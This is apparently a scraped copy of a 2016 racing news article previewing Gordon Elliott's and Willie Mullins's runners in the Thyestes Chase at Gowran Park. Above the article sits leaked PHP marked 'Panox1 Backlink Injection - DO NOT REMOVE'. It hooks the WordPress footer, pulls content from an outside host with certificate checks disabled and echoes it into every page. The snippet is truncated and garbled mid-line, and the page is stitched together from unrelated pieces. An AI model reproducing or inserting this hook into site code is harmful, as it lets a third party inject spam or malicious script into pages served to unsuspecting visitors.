// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Elliott saddles four in bid for first Thyestes success – Next Sports News

Elliott saddles four in bid for first Thyestes success

[ad_1]

Gordon Elliott: has four strong chances in the Thyestes Chase on Thursday

Gordon Elliott: has four strong chances in Thursday’s Thyestes Chase

  PICTURE: Alain Barr (racingpost.com/photos)  

 By Jack Haynes 6:00PM 20 JAN 2016 

GORDON ELLIOTT saddles four runners, including two leading fancies in Mala Beach and Ucello Conti, in Thursday’s €100,000 Goffs Thyestes Handicap Chase at Gowran Park – a race he is yet to win.

Mala Beach, who on Wednesday morning had been well supported and who on Wednesday evening was generally 7-1 co favourite, was last seen on the other side of the Irish Sea when second to the Phillip Hobbs-trained Royal Regatta in a graduation chase at Ascot, and the talented two-time Grade 2-winning hurdler makes his sixth start over fences, and his first in handicap company, in this fiercely competitive 18-runner contest.

RELATED LINKS

As well as possibly providing Elliott with an inaugural win in the prestigious handicap chase, 8-1 second favourite Ucello Conti would also gift Jacques Ricou a first high-profile win in Ireland since starting a winter stint, chiefly with Willie Mullins, in December.

Ricou, who went close aboard the Susannah Ricci-owned Kalkir in the Coral.ie Hurdle at Leopardstown last Sunday, finished second aboard Ucello Conti in the Paddy Power Handicap Chase at the same track in December, and on that form alone will have high hopes of going one better on Thursday with conditions set to suit.

Leading claims

Elliott also runs Unic De Bersy and Nickname Exit, two of five Gigginstown House Stud-owned contenders, who are both 16-1 with Boylesports in what is an open market.

He told the Racing Post: “Ucello Conti ran a blinder in the Paddy Power at Leopardstown last month. He’s gone up 6lb since but he’s very well and will love the ground.

“The trip was a bit sharp and the ground not testing enough for Mala Beach when he ran second at Ascot last month. He’s in good form and the ground and the trip will suit him a lot better this time.

“The other two are well and are low in the weights. They’ll stay the trip, so we’re letting them take their chance.”

Six-time winning trainer

While Elliott is going in search of his first winner of the Thyestes, the same cannot be said of Willie Mullins, who has won this event no fewer than six times, including in three of the last four years – twice with On His Own in 2012 and 2014 and also with this season’s Timico Gold Cup favourite Djakadam last year.

Mullins has mirrored Elliott’s quartet-handed approach with top weight and the standout class act Boston Bob, Ballycasey and Suntiep, who are likewise making their first appearances of the season, and top-quality handicap chase regular Urano.

The lowdown

Ireland’s champion jump trainer said: “Boston Bob hasn’t run since the Galway Plate. He’s had a few training problems and is just ready to start back. It will be hard for him under top weight.

“Ballycasey hasn’t run since May but he would be a good bit fitter than Boston Bob. He’s a course winner over two and a half miles and, while he’s never won over the trip, we think now that he is a more mature horse he should have a good chance of getting the distance.

“Suntiep is ready to resume and stamina isn’t an issue, although you’d imagine the run will bring him on. Urano has to leave a couple of moderate efforts behind him but his Kerry National second was a good effort and with his low weight he should have an outside chance.”

Read full previews of the Thyestes Chase (plus Pricewise) and the Galmoy Hurdle in Thursday’s Racing Post, available on iPad at 8

 

[ad_2]

Source link

Reply